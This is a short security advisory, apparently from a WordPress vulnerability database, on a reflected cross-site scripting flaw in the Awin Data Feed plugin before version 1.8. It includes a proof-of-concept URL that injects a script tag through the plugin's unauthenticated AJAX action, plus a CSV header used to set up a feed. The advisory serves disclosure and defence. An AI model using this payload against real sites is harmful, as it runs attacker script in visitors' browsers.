WordPress Plugin Vulnerabilities

Awin Data Feed < 1.8 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting

Proof of Concept

With a feed set in the plugin, open the URL below:

https://example.com/wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(`xss`);%3C/script%3E


Note: To set a feed, simply import the following CSV via the plugin:

categoryName,awDeepLink,merchantDeepLink,awImageUrl,description,productName,deliveryCost,currency,price
categoryName,awDeepLink,merchantDeepLink,awImageUrl,description,productName,deliveryCost,currency,price